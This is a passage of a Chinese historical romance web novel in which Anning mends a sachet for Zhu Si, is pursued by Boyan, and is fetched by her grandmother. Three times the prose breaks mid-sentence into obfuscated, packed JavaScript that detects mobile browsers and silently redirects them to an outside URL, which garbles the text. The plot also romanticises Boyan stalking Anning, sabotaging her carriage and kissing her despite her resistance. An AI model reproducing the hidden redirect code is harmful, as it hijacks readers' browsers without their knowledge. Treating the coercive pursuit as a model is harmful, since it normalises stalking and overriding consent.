“姑娘。”白蔻进了房间,“方才四爷的人送了这个过来,说是从广宁寺求回来的法牌,有镇魂宁神的功效。” 安宁心不在焉地说了一句:“放在那儿吧。” 白蔻放下盒子退下。安宁悠悠地看了外面半晌,终于叹口气收回了杂乱的思绪。她的视线落在朱思送来的鹿皮小袋上,解开上面的抽绳,一个木质的法牌滑落而出落在她的掌心。 那法牌不大,四四方方,不知是什么木头制成,上面雕刻着发丝一般粗细复杂的梵文。安宁用指腹摸了摸,入手极为光滑,仿若玉一般沁凉,让人不由自主地安静了下来。 她拿着法牌起身,从铜镜里看见了自己还长发散乱的样子,总算恢复了些理智:“白蔻,来替我梳洗。” 午后的时间最容易让人困倦。顾文渊看着书,看着看着书上密密麻麻的小字晃动了起来,然后变成了一只一只的蚂蚁,排在一起组成一个不断旋转的漩涡,吸引着他的神智往下掉落。他的眼皮重得无法抬起,脑袋一点一点,终究没有敌过困意趴在书上陷入了梦乡。 风吹来了湖面的气息,野鸭子扑了扑翅膀,往前扑腾了一段,又停下来安稳的慢慢游动。阳光如同碎金洒在湖面和地面上,整个书苑十分安静。 朱思正在看着书,安宁进了闲云楼。她径直走到他面前,在他身前转了个圈:“四叔,你觉着如何?” 她看着明媚娇艳,穿着一身藕粉色的裙装。他的视线落到她的腰间,她打了个璎珞把法牌串了进去,下面坠着青色的玉珠和流苏,当做压裙挂在腰间。她一转,裙摆如盛开的花朵飞扬,腰间的挂坠也跟着扬了起来,在金玉的配饰中,深色的法牌十分显眼。 他夸赞:“很好。” 她在他对面坐下:“我是特地来谢你的,四叔。多谢你去替我请了这个法牌。”她说着话向他伸出了手。 他看看她的掌心,抬眼看她:“你是特地来谢我,还是来同我要东西的?” 她道:“你把上次那个香囊拿来。” 朱思从怀里拿出了亡母的香囊放到她的掌心。安宁接过,一旁的沉香送上来针线盒,又安静地退下。安宁打开针线盒:“上次我替你捞香囊的时候就发现,侧边破了口子。”她把破损的地方翻给他看。时间太久,香囊缝合的地方脱了线,所以有了小口子,她说,“我想着你不愿身边的人见着这个香囊多生是非,你又不会针线活,定然只能由着它,所以就想替你补一补。” 她拿出一张红绸垫在桌面上,小心的解开了香囊的绳子,拿出里面的香包。上次香包落湖泡过水,他似乎也没有取出里面的东西,如今她拿出来一看,里面原本放的一些东西发了霉。 “这香料恐怕要重新配过了。”她道,“这里头的东西落水发霉,只能扔掉,要不时间久了,霉会损伤外面的布料。” 她把香囊翻了个面,找到合适颜色的丝线,仔细地将香囊的整个边重新缝了一遍。 窗户大敞着,湖风轻轻地吹拂。她安安静静地坐在他面前,手里拿着香囊一针一线仔细地缝合着,不同于素日里的活泼明艳,眼前的她显得安静温婉。缝好后打完结,她咬断丝线,将香囊还给他:“你看看,现在如何?” 他接过香囊,时间久远,东西难免陈旧。缝合后却少了那股破败的气息,呈现出旧物的温润。他手指摩挲着香囊,心里涌动着难明的情绪和感受:“……谢谢。” 她收起了桌面上的红绸,连着里面发霉的香料一起,简单团做一团:“这东西我先拿回去,我要好好分辨分辨里面原本装的都是什么,再比着之前的东西重新给你配料。配好了就给你送来。” 他应下:“好。” 或许于她而言,这些都是小事。可是这些小事总是能戳中他心里最柔软之处。 安宁看了眼一旁的顾文渊,左右看了看,拾起他扔在地上的纸团在手里紧了紧,朝着他脑袋扔了过去。顾文渊朦胧地抬起头:“啊?” “别睡了。”安宁嘲笑,“怎么睡着了,文章会自动进入你的脑子不成?” “二姐。”顾文渊看清是安宁,打着哈欠揉着眼睛伸了个懒腰,“唉,好困。真想回去好好睡一觉。” 安宁端起了姐姐的架势:“你这样进学可不行,春困秋乏夏打囤,冬日寒凉最好眠。感情一年四季就没有不好睡的时候。来年就是秋闱,你也要下场,可要抓紧时间好好学才行。” 顾文渊又打了个哈欠,鼻音浓重地回答:“知道了。” 安宁起身告辞:“我先回去了。”她看向朱思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377254|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“弄好了就给你送来。” 朱思点了点头。 安宁一边走,一边打开红绸看着掌心里的香料:“这是丁香,这是干桂……这是什么?”她拿起里面一截枯根对着太阳看了看,没看明白是什么低头小心地闻了闻,噢,原来是陈皮。 “二姑娘,你在这里。”安宁抬头,看见了大伯母院子里的传话丫鬟,“夫人请您过去。” 安宁一到青木居的花厅,就看见了地上放着的箱笼。有两箱已经打开,打开的一箱里面放着今年京城最时兴花式的布匹,另一箱里全是上好的皮子。阳光下那皮毛油光水滑泛着厚实柔顺的光泽。箱笼旁一个嬷嬷笑眯眯地站着,正看着进门的安宁。 安宁收回视线,先同长辈见了礼。苏婉仪对她道:“这是长兴候府的常嬷嬷。” 常嬷嬷对安宁一福身:“二姑娘,老身领了侯夫人的吩咐,来给您送点东西。”她说着走到另一个箱笼旁,打开了放置在其上的一个红木匣子,里面全是大颗大颗莹润的南珠,“这都是我们夫人的一点心意。” 她说着又拿出一个帖子奉上,“后日侯府有诗会,我们夫人说您若是得空,邀您过去参加。” 安宁接过帖子打开看了看,问道:“邀我过去参加,只得我一人?” 常嬷嬷神色不变:“我们夫人说了,她同您一见如故,很是喜欢你,所以才特地邀您过去。” 安宁先看了一眼一旁的大伯母,这才回常嬷嬷:“多谢夫人美意。请嬷嬷回去代我向夫人道谢。” 常嬷嬷带着笑应下,规规矩矩地同苏婉仪行了礼方才辞别。 等到常嬷嬷一走,安宁便走到苏婉仪身旁挽住了她的胳膊:“大伯母……” 苏婉仪笑看着她,轻轻拍了拍她的手背:“怎么了?” 她问:“这礼能不能不收?若是不收,寻个什么法子送回去好?” 苏婉仪道:“直接送回去肯定不好,伤情分和脸面。你若是不想收,那就备些更重的礼,嘱咐人还回去。就说是回礼便是。” 安宁将礼单交到苏婉仪手上:“还请大伯母帮帮我。” “你如今在京里,出去交集难免会遇到喜欢你向你示好的夫人。侯夫人只是头一个。”苏婉仪嘱咐安宁,“回礼加三分,这些夫人们想着的都是家里还没有娶妻的孩子。你若不想同谁有牵扯,就不要轻易接受谁的示好,不要同某一家走得太过亲近,有礼而知分寸就可。” 安宁乖乖应下:“侄女儿记住了。” 东西是侯夫人送来的,实则安宁心里清楚,侯夫人不过是帮手,替伯言转送罢了。 她心里觉着高兴,又觉着有些担忧和害怕。上次湖心荷塘的事情,一时让她神智昏沉忍不住去回想不可自拔,一时又让她觉得莫名地恐惧。这两种感受交缠在她心头,就像两条毒蛇在噬咬她的心。她下意识便退了这些东西,也想拉开同他的距离。 顾家回的礼送回侯府,长兴侯夫人请来了伯言:“东西和帖子我都替你送过去了,只是人家回了礼,你自己看看。” 伯言随意打开看了看,便知晓了她的意思。他吓到了她,所以现在的她就像缩在龟壳里的乌龟一般躲着他。他盖上盖子:“诗会那天,她可会来?” “那我可不知,常嬷嬷回来也没有说个准信儿。”长兴侯夫人笑看着他,“不过依我看,那天你怕是见不着人喽。” 26. 25 香料铺的柜台上平铺着安宁带来的香料包,掌柜拿着一小截褐色的枯木仔细分辨了许久:“姑娘,也不怪您没认出来,这东西一般香料铺里没有。它是一味药材,叫广藿香。咱们北边儿啊没有,产于滇南一带。这东西所有的药材铺都有,您去那边买就是。” 安宁谢过掌柜的。她已经配齐了其余的香料,唯有这一味广藿香她不认识,这才拿到了店铺里让掌柜的帮着掌眼。 她今日特地同大伯母请示让马房套了车,出来给朱思配香料包。 她出了香料铺的门走到停车处,却见车夫手里拿着帽子,一脸为难地蹲在马车旁。白蔻见状问道:“怎么了?” 车夫回头见着安宁赶紧起身回话:“二姑娘,这车轱辘不知道怎的裂了,这会儿怕是走不了了。” 安宁走到车轮旁一看,果然见一边木质的车轱辘内里支撑断了好几根,连带着外面的圆轮也跟着破损,此刻马车微微倾斜,车厢压在了损坏的车轮这一侧。 “出府的时候还好好地啊。”白蔻见状不由得道,“这可怎么办?” 几人正在那站着,一旁传来一个声音:“安宁。” 安宁回头,身旁停下了一辆马车,车窗处的车帘被掀开,伯言正在那处看着她。只是看见他,她就飞快地红了脸颊,半转过身去,似乎想寻个地方躲避,又在那强撑着没动。 “怎么了?”他看见了倾斜的马车,“车坏了?” 她终于鼓足勇气回话:“坏了。” “上来吧。”他道,“我送你回府。” 安宁迟疑着没有动。 他将她的犹豫尽收眼底:“在赤刹海的时候,你尚且敢和我单枪匹马的去闯王庭,怎么到了这里,连和我同乘一车都畏畏缩缩?” 她抬头瞪向他:“谁畏缩了?” 他轻笑一声,放下了车帘。车夫拉开车门将车凳放在安宁面前,安宁又犹豫了一瞬,终究是上了车。 马车虽然不大,车厢里也可对坐三五人。她寻了个远离他的角落落座。见她坐稳,他吩咐了外面的车夫一声:“走吧。” 车夫关好了车门,马车晃晃悠悠地出发。 因为在市井里,大街上都是行人,此时车行不快,窗外不时传来小贩们的吆喝声,此起彼伏。 他看她坐得远远地:“你怕我?” 她飞快地看了他一眼,又扭过了头:“没有。” 他没有再说话,车厢里陷入了沉默。这样的沉默让她觉得很不自在,低着头在衣袖里偷偷绞着手指,不知怎的就又想起了那天,他将她拥在怀里,抵着她的额头嗓音暗哑地问她:“你喜不喜欢我?” 那样的画面像鬼魅一样浮现在她脑海,她的脸红得快要滴血。 他问她:“为何把东西送回来?你该知道是我送的。” 她窒了一下,不知为什么在他面前不敢说出自己真实的想法,小声嗫嚅着:“京里送礼,总归要礼尚往来。” 他又追问:“那为何不去长兴侯府的诗会?我为了见你,才托了侯夫人。” 她不知道怎么回答。 他问:“不想见我?” 她心里有点慌,赶紧摇了摇头。 他坐在那里没有动,明明距离她还有一段距离,她偏偏觉得心慌的厉害,只觉得他压迫感十足,心脏不争气的在胸腔里乱跳着。 他注视着她,修长的手指漫不经心地反复点着他自己的腿侧:“你不肯出来,我便见不着你。只好寻了人一直在太师府外守着,今日见你出门,便跟了出来。” 她诧异地抬头看着他。 “你觉着今日是偶遇?”他仍是那般漫不经心的样子,可注视着她的眼神却异常专注,“我派的人守了五日,才候到你出门。你觉着马车坏得奇怪?是我吩咐人引走了你的车夫,趁他不在拿弯刀弄坏了车轮。” 她瞪大了眼睛。 他道:“是你说的,是朋友自然要相见。我想见你,你却躲着我,我只好想尽办法让你同我相见。” 马车停下,车夫在前面道:“世子,到永兴门大街了。” “下车吧。”他对她道,“从这里步行回太师府也不远。这边一路都有五城兵马司的人巡街,不用害怕。”他加了一句解释,“不是不能将你送到,想来你也不愿太师府的人见着你从这车厢里下去。” 她下了车,先一步下车的白蔻扶住了她:“姑娘。” 安宁冲着车厢微微矮身行礼:“多谢相送。” 他没有回话,马车径直离开。 他生气了。虽然他什么都没有说,可她就是知道,他生了她的气。 安宁回府呆坐了许久,买回来的香料就这么摊开在面前的圆桌上,她浑然不觉。 “姑娘。”沉香进来见她这般失魂落魄地样子,轻轻唤了她一声,“你可是觉着不太舒服?” 安宁回过神来,摇了摇头,低头分着香料掩饰:“没有,刚才只是在想事情。” 白蔻端来了簸箩,从里面拿出来一大块干净的白布给安宁看:“姑娘,用这个做香囊的内袋可好?” 安宁看了看:“好。” 白蔻在安宁身旁落座,拿了剪刀开始裁剪,沉香也坐到一旁,用纸将分好的香料先一包包包起来。她夸赞道:“这个味道真的好闻。” 这个香味确实很好闻,很特别,不是花果香,一定要形容,更像是雨后山谷的森林,那雾气中淡淡弥漫的味道,带着几分大地的沉稳,十分适合男子使用。 安宁一共做了六小袋,每一袋都用白布裁剪的内袋装好了。因为怕其余五袋的香味挥发得太快,她又用油纸将其层层包裹,最外面又用蜡封了一层,拿了个木匣子一一放好。这才交给沉香:“你送到旁边院子去吧。” 东西交到朱思手上,他打开木盒,闻到了熟悉的味道。他拿出没有被油纸包裹的那一袋,放到鼻端仔细闻了闻,慢慢红了眼睛。他的手指倏然收紧,将香袋紧紧握在掌中。 他小时候,每当感觉到孤独和害怕的时候,手里就捏着这个香囊,悄悄闻着里面的味道,安慰自己这是母亲的味道,这样他便不是孤单的。 有多少黑暗长久的深夜,小小的他缩成一团,都是那个香囊和那淡淡的香味陪伴他渡过。 天长日久,香囊里的香包味道越来越淡,到最后几乎再闻不出什么东西来,可他还是一直贴身带着,当他觉得孤独时,他还是会将香囊捏在手里。 他珍重地将香包放进了香囊,将它妥帖地贴身放着,这才转身推开房门来到院子里。 秋意渐浓,院子里竹林的叶子落了大半,在地上铺了厚厚的一层,踩上去软软的没有任何声音。旁边霞蔚居的院子里亮着灯,丫鬟们来来去去,可是不见安宁。 寻常在书苑里见一见还好,毕竟男女有别,各自的内院不便入内,眼看着天色已晚,他也不好去她院门口寻她。 他转身走到大树下,坐到圆桌后,伸手轻轻拂在琴弦上。 琴声幽幽响起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389814|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安宁做完了香袋,又坐在窗前发呆,她听见了琴声,却充耳不闻。她脑子一片混乱,一时是荷塘里暧昧亲近的他,一时是马车里冷淡有距离的他。她身旁的烛火爆了芯,白蔻进来拿剪刀绞了灯芯她都浑然不觉。 朱思弹了半阙,仍不见旁边院子有动静。他按住了琴弦,琴声戛然而止。他站起身,花窗外的另一边院子像是一幅画,又像是一片梦境,看着极近,实则极远。 一大早,苏婉仪便坐在青木居的正厅里处理府里的杂事,等管采买的婆子对完账拿了对牌出去,她扭头看向身旁的林嬷嬷:“宁儿那孩子,这几日是不是没有来?” 林嬷嬷道:“是呢。她这些日子安静着,一直在自个儿院子里呆着。” “那倒奇了。”苏婉仪拿起手边的茶喝了一小口,“她回京之后,几乎是日日来寻我回话,要套车出门。这些日子怎么这么安静?是不是身体不舒服?” 林嬷嬷道:“若是身子不舒服,她身边的丫鬟一定会来回话。” 苏婉仪沉思片刻:“去把柔儿叫来。” 顾珂柔依言来了母亲的院子,苏婉仪道:“你这个妹妹,从小生活在凌云州,不似你习惯了日日拘束在府里。若是有什么诗集雅会球赛踏青上香一类能出门动动的,你多带她出去动动。咱们这儿不比开阳,她要出门总要来寻我问话套车,时日久了,怕她自个儿心里也不得劲。我看她这几日安静得很,你去她那边看看,今日若是得空就陪她出去走走。” 顾珂柔乖巧应下:“是。” 她来到霞蔚居的时候,见院子里静悄悄的,下人和丫鬟们走路都敛着气息,轻手轻脚。东暖阁的房门还紧闭着,她推了门进去,见内室的幔帐依旧低垂,安宁仍在榻上没有起身。 她上前拨开幔帐,原是想数落她两句,前些日子才养成了早起的习惯,这几日又退了回去,却见安宁抱膝背靠着墙坐在角落里一动不动,长发从她身侧滑落,只穿着寝衣的她双肩瘦削,脸上满是落寞,显得她娇小可怜。 顾珂柔顿时收回了想说的话,侧身落座温柔地开口:“你怎么了?” 安宁抬头看向顾珂柔,一开口声音里带着几丝哭音:“大姐姐。” 顾珂柔向她伸出了手,她便过去扑进了她怀里靠在她肩头,委屈得仿佛是被人遗弃的小猫小狗。顾珂柔轻轻拍着她的背:“你怎么了?和我说说?” 她没有说话,轻轻摇了摇头,眼泪不争气的滑落。 顾珂柔轻轻推开她,替她擦着脸上的泪水:“是不是想家了?” 她张了张口,想告诉她伯言的事情,话到嘴边又觉得羞耻,咽了回去。她垂下双眸,长长的睫毛上挂着泪滴。她吸了吸鼻子:“没有。” “那是不是想出去玩,不好意思同我娘去讲?”她从怀里取出帕子替她擦脸,“你这几日都没有动静,倒把我娘给吓着了,还怕你是身体哪儿不舒服,这般安静。今日特地嘱咐了我来看看你,得空就带你出去走走。” 她细声细气地同她讲着,怕她因为总想出门而觉得羞愧,“这事儿也怪我。这几日我得了本孤本的棋谱,看得入了迷,每日都在房间里关着研究残局如何破解,若早些来看你,你也不至于这么委屈。” 安宁搂着姐姐的脖子靠在她肩头,她这么温柔地哄着她,让她心里好受了很多:“姐姐,你真好。” “起来梳洗梳洗吧。我吩咐人套车,今日我们出去逛逛。”顾珂柔道,“我听说,白云观的木芙蓉开了,正好去看看。” 27. 26 白云观就在城郊,距离京城不远,马车顺着驿道过去,小半个时辰便到了。 天气很好,太阳高高地挂在天上,晴空万里,天上漂浮着几朵又大又厚的白云。安宁看着那云朵问姐姐:“姐姐你看,那云像不像一只兔子?” 顾珂柔抬头看了一小会儿,在她眼里,白云就是白云,无非是形状不同罢了。可她不想扫妹妹的兴,装作仔细观察了一阵:“像。” 安宁高兴地拉着姐姐指给她看:“你看那是耳朵,那是脑袋,那是尾巴……” 观里的小道士到门口来迎客,向着两人行了个礼:“两位请这边走。” 两人跟着小道士往里走,一路行来十分清幽,观里古树成荫,一个院落接着一个院落。山墙飞檐掩在山势中,往里走了一段,抬眼只见方井围着的天空和周围的群山,恍惚间颇有不知身在何处之感。 “姐姐。”安宁环顾四周,“这里人真少。” 顾珂柔提起裙摆跨过门槛:“京里的百姓更愿意去南面儿的老君洞去上香,都说那里的香火灵验。加上白云观这边,多少和宫里沾点关系,一般观里接待的也是京里的官家女眷。” 今日不是初一也不是十五,来观里的除了她二人没有旁人。小道士引着她们到了芙蓉园:“东边的院子已经打扫干净,两位若是累了可到那处歇脚。若是有旁的需要,吩咐一声便是,院子里有杂役候着。” 安宁的视线被眼前的花朵吸引,这花朵有碗口大小,呈深粉色,花瓣团团锦簇,开得热烈芬芳,黄色的花蕊和花芯清晰可见,散发着幽香。 安宁伸手捧住一朵花:“这花好看!” “木芙蓉也叫拒霜花,到了秋日百花开始凋谢,寻常人都只知道菊花秋日会盛放,却不知还有这木芙蓉。”顾珂柔走到安宁身旁,“深秋才是它的花期。这花原本是南边儿的品种,京里引来了十几株,培养极为不易。一些在宫里,剩下的几株便都在此处了。” 安宁看着花朵:“好看,这一棵树上这么多花,颜色都各不相同,你看那是白的,那是粉的,那是粉白相间,这又是深粉。” 顾珂柔笑道:“是呢。人们叫它‘醉芙蓉’,也叫它‘芙蓉三变’,它一日里花朵要变三次颜色,早起是白或者粉白,到了中午便是深粉或者朱红,到了晚上就变成了紫色。” 安宁不由得赞叹:“好神奇的花儿,我还是第一次听说,在赤刹海的时候,从未听闻。” 姐妹两在芙蓉园里逛了一阵,这院子里原本的芙蓉树只有三株,这十几年来培育到了五株。院子里还养了些别的植物,另修有假山石亭。石亭在假山顶,假山脚下有水榭蜿蜒与外连通。 安宁见那假山同家里的不同,不知是运了哪里的山石来建成,半山腰处可见一个隧洞。她拉了拉姐姐的衣袖:“姐姐,我想去那里看看。” 顾珂柔打量了两眼,面露难色。那假山山石嶙峋,没有修筑通向上的石阶,只能踩着山石一步一步爬上去。她何曾做过这般的事情?她摇头:“这也没有路上去,还是不要去了吧?” “怎么没有路,顺着那山岩上去就是了。”安宁说做就做,绑好了衣袖整理了裙裾便伸手攀住了山岩,轻巧一蹬就爬了上去。 “哎!”顾珂柔快走几步跟上,可她不敢往上爬,只能在下面不放心的喊,“你抓住了,小心点!” 从下面看着那隧洞不高,实际往上爬了一爬才发现距离地面约莫有一丈多。安宁回头看了一眼,山石势缓倒不险峻,只是爬上来还是要费些力气。她一鼓作气终于站到了隧洞口,冲着下面的姐姐摆手:“姐姐,我上来了!” 顾珂柔捏着帕子在下面看着她:“看着点脚下,你小心点!” 安宁回头看了眼隧洞,同顾珂柔交代了一声:“这里面好像有路,我去看一眼。” 她往里一走,才发现里面别有洞天。山石里中空,有甬道贯通,她所在之处只是其中一个出口,里面还有好几个岔路口透了光进来,也不知通往何处。 她往里走了走,前面的拐角处突然迎面走来一个高大的身影,吓了她一跳,她不由得啊了一声定在了原地。 下面顾珂柔隐隐听见她的声音:“宁儿,你怎么了?” 安宁定了定神,从旁边的洞口探出头同姐姐道:“里面有虫子!这里有路,你等等我,我从旁边下来。” 顾珂柔这才放心的点点头。 安宁回过身,见伯言站在她面前,脸上的神色不辨喜怒。她轻声道:“你……你怎么在这里?”她顿了顿,“你又跟着我?” “我若是不想法子跟着你,你就像那缩头乌龟一般,怕是要躲一辈子了。”他不高兴地看着她,“上次我去寻你,说完你你倒好,干脆在太师府里躲着不出来,你让我怎么找你?” “我……”安宁低下头,轻声开口,“我以为你生了我的气……”她又莫名地觉着委屈,不由得红了眼睛。 他叹息一声,上前将她拥进怀里。感觉到她微微的抵抗,他不由分说地将她的反抗压下紧紧地抱着她,似乎要将她埋到胸膛里去。他低声开口:“我想见你,你躲着我,我当然生气。谁知道说完你更躲着,不知道出来吗?” 安宁的心又开始失衡地跳动,她有些害怕:“你怎么跟来的?观里的人知不知道你来了这里?” “观里的人当然知道,我又不会隐身。”他的脸颊贴在她的耳侧,“别怕,没人知道我来寻你。我知道你来芙蓉园,寻了同这边相通的另一条路。要不是看见你冒冒失失地爬上来,一时间还想不到别的法子引你相见。” 她抬起头想同他抗议,他低头看着她,似乎终究是没有抵抗住诱惑,低头覆上了她的唇。 安宁瞪大了眼睛,整个人僵在那里一动不动。她惊呆住,完全不知道怎么反应。他微微后撤离开了她的唇,改为蜻蜓点水一下一下的啄着,亲昵地摩挲着,低声对她道:“张嘴。” 她想说话:“我……” 他却趁虚而入,瞬间抓住机会覆盖了她的话语。 他的需求热烈而直接,安宁承受不住,她只觉得天旋地转,身上的力气被莫名其妙地抽光,她心里慌得厉害,整个人颤抖着,握住了他的胳膊,感觉到了他身体肌肉的紧绷。好不容易喘气的间隙里她艰难地开口:“伯言……” “别这么叫我,我受不住。”他停下了索取,将头埋在她颈侧,胸膛剧烈起伏。他的身体很烫,她自己也很烫,烫得她嗓子干得要冒出火来。 她小声开口:“我姐姐还在等我。” “好。”他又抱着她埋首了片刻,终于怀抱放松了些许。他低头啄了啄她的唇,“去吧。” 她要走,他复又伸手用力握住她的手腕:“不要再躲着。出来见我。” 她声若蚊蝇地应了一声,快速离开了山洞。 顾珂柔已经在下面等得有些着急,正要让人去寻安宁,却见她从另一侧绕了过来:“姐姐。” 顾珂柔上前拉住她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409947|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手:“怎么这么久?是不是路不好走,有没有摔着?” 她赶紧摇头:“没有。” 顾珂柔仔细端详:“你脸这么红?”她摸着她的手,“手心也发烫?” 安宁抽回手,摸了摸自己的脸颊,果然还在发烫。她心虚地道:“没想着那边隔得那么远,许是刚才着急过来跑了一段的缘故。” 顾珂柔放下心来:“没事就好。” 姐妹两离开芙蓉园去备好的房间休息。安宁回头看了一眼假山上的山洞,那处空荡荡的,没有看见他的身影。 夜里安宁沐浴完毕换了寝衣,早早地就上了床躺着。白蔻看天色还早,寻常这个时候姑娘都在房间里或同她们说话,或玩一些有意思的小玩意,第一次见她这么早就歇下:“姑娘,你准备安寝了?” 安宁面朝墙躺着背对着白蔻:“今日出门有些累,想早些歇着。” 白蔻闻言伸手放下了幔帐,又转身去收了支杆关好窗户,再将屋子里四处的灯都灭掉。只剩下了角落里的一盏,这才轻手轻脚地退了出去。 微弱的光照不透厚重地幔帐,黑暗里安宁并没有安睡,她睁着眼睛,指尖轻轻摩挲着自己的唇。 她脸上泛起了害羞的神色,突然将脸整个埋在被子里,肩膀不停地抖动着,片刻后她松开了被子,脸上都是羞涩和喜悦交织的红晕。 伯言,伯言。 她在心里轻轻喊着他的名字。耳边突然又响起了他的那句话:“别这么叫我,我受不住。” 她伸出手去,在黑暗的虚空里描摹着想象中他的脸庞,他的额头、他的眼睛、他的鼻子、他的唇。脑海里的他那般鲜明生动,仿佛就在她眼前一般,她似乎还能感受到他身体的热量他拥抱的力度,还能闻到他身上的味道。 朱思站在廊下看着隔壁院子。安宁安寝的时候,院子里廊下的灯笼会一一灭掉,只剩下一盏挂着供下人们进出照明。眼下那边院子大部分都陷入了黑暗,唯有一团晕黄的光照亮着角落。 已经有数日没有看见她,也不见她再到院子里来。朱思手里捏着香囊看着夜色,不知道在想些什么。 安宁打着哈欠坐起身,满脸困倦的样子。白蔻一边卷起幔帘,一边奇怪地看着她:“姑娘,你昨晚睡得那么早,怎么看着还像是没睡够的样子,眼睛底下好大两团乌青?” “真的?”安宁一惊,“快把铜镜拿来我看看。” 沉香递来铜镜,她揽镜一照,自己果然面色苍白,眼睛下面乌青明显。她伸手摸着眼眶下的乌青:“这可怎么办?” 她昨夜歇得早,可是却没有睡着。她躺在榻上,满脑子都是他,翻来覆去大半宿,快天亮时才勉强入眠。 沉香道:“我让小厨房去煮两个蛋,剥了皮在眼眶下面滚一滚,或许有效。” 白蔻替安宁梳着头发,见安宁还不安地对着镜子看个不停,手指一直在摸着眼眶下的青紫:“没事儿的姑娘,你只要今天晚上好好地睡上一觉,把觉补足了,这青紫啊自然就会消失。” 安宁扣下了铜镜:“这么大两团乌青在脸上,丑死了。” “不丑不丑。”白蔻安慰她,“我们姑娘一直都是最好看的。你要觉着碍眼,那就打点胭脂遮一遮。前些日子不是刚买回来一盒杏花胭脂?用那个吧,看着气色还好。” 安宁道:“快把那个拿来。” 安宁正在梳妆,传话的小丫鬟来报:“二姑娘,保国公府来人了,夫人请您过去。” 28. 27 安宁去了正院,正厅里袁氏和苏婉仪都在,主座上坐着袁氏和曹婉,苏婉仪在左下首作陪。看见曹婉安宁惊喜地小跑上前,扑进她怀里:“外祖母!” “这孩子!”曹婉嘴上似在责怪,实则搂住了她,“这么没有规矩呢,看见长辈不先问安?” 安宁搂着曹婉的脖子,撒娇地贴在她肩头不放手:“祖母安好,外祖母安好,大伯母安好!” 袁氏笑看着她:“她这般同你亲近,我都要吃醋了。” 曹婉拉下她的双手,微微瞪了她一眼,却掩不住眼底的笑意,她扭头看向袁氏:“你吃什么醋?你膝下三个儿子,两个孙子两个孙女,我只得一个姑娘,一个外孙一个外孙女。你日日有孩子们陪着,可怜我好几年才能见到她,再不亲近我,我这心都要碎成渣了。” 屋里的人闻言都笑了起来。曹婉问袁氏:“说起来,林轩(顾林书一母同胞的四弟)出去求学也有几年了,还没回京么?” 袁氏摇头:“倒是时常写信回来,没提何时回大宁。” 曹婉见袁氏似有思念幼子之意,劝道:“男儿志在四方,出去多走一走看一看,眼界自然不同。何况如今天下太平,这要搁我们年轻的时候,不是灾荒就是战乱,到处都窝藏着山贼土匪,哪儿敢这般出门游学?” 袁氏点头:“这都是当今太后同圣上的恩泽,难得的太平盛世啊!” 曹婉低头看着怀里的安宁:“严嬷嬷省亲回来了,我今日来,是要接你回府去,好好的同她学习。” 安宁差异地看着外祖母,脱口而出:“这么快?!” 曹婉取笑她:“当日告诉你严嬷嬷要回家省亲两月的时候,你嘴上不说,心里却不悦,觉着啊,在京城里耽搁的时日太久,误了你回家的时辰。这怎么这么快就变了脸,倒嫌时间过得快了?可见在这里呆得很好,早把开阳丢到了九霄云外。” “外祖母~”安宁撒娇地赖在她身上,“我这不是也舍不得祖母,舍不得大伯母和姐姐弟弟们嘛~” 苏婉仪看着曹婉:“国公夫人,这严嬷嬷可是原来宫里,专职教大昌公主的那位?” 曹婉笑着点了点头:“她到了年龄放出宫,家里如今只有几个侄子,她是个要强的,不愿仰仗亲戚的鼻息,我就接了她到府里荣养,想着正好家里孩子也大了,若是能跟着她好好学一学,不说出落得如何出色,起码走出去不会闹笑话。”她点了点安宁的鼻子,“尤其这个野丫头,更该要板一板她的脾性。” 安宁撅了噘嘴。 苏婉仪和袁氏对视一眼,她们原也知道安宁回京,是要被接回保国公府去学规矩,只是没想到对方请的是严嬷嬷。当下苏婉仪心里转了一转,斟酌着开口:“国公夫人,不知可否让我家柔儿一同进学?若是能跟着严嬷嬷学上一段时日,于她有大助益。” “那有何不可?”曹婉笑道,“都是自家姑娘。我原也想着就只有宁儿一人,她难免孤单,让段妮来陪一陪她。如今若是珂柔能一起,几个小姐妹自然更好。” “只是要辛苦严嬷嬷了。”苏婉仪心里高兴,打定主意要多备些礼送到国公府上去,好好地谢一谢国公夫人还有严嬷嬷。 曹婉低头看着安宁:“那今日就同我回府吧。” 曹婉收拾好了李月桦当日住的院子供安宁居住。 太师府虽然大,同国公府却无法相提并论。原先的保国公是范阳候,封了国公之后,朝廷把附近的几个大院都赐了下来。这些年修整扩建,整个国公府连绵座落同南湖接壤,围湖与路亲王府、长兴侯府成了邻居,以柳树林和护城河为界,紧邻着皇城。 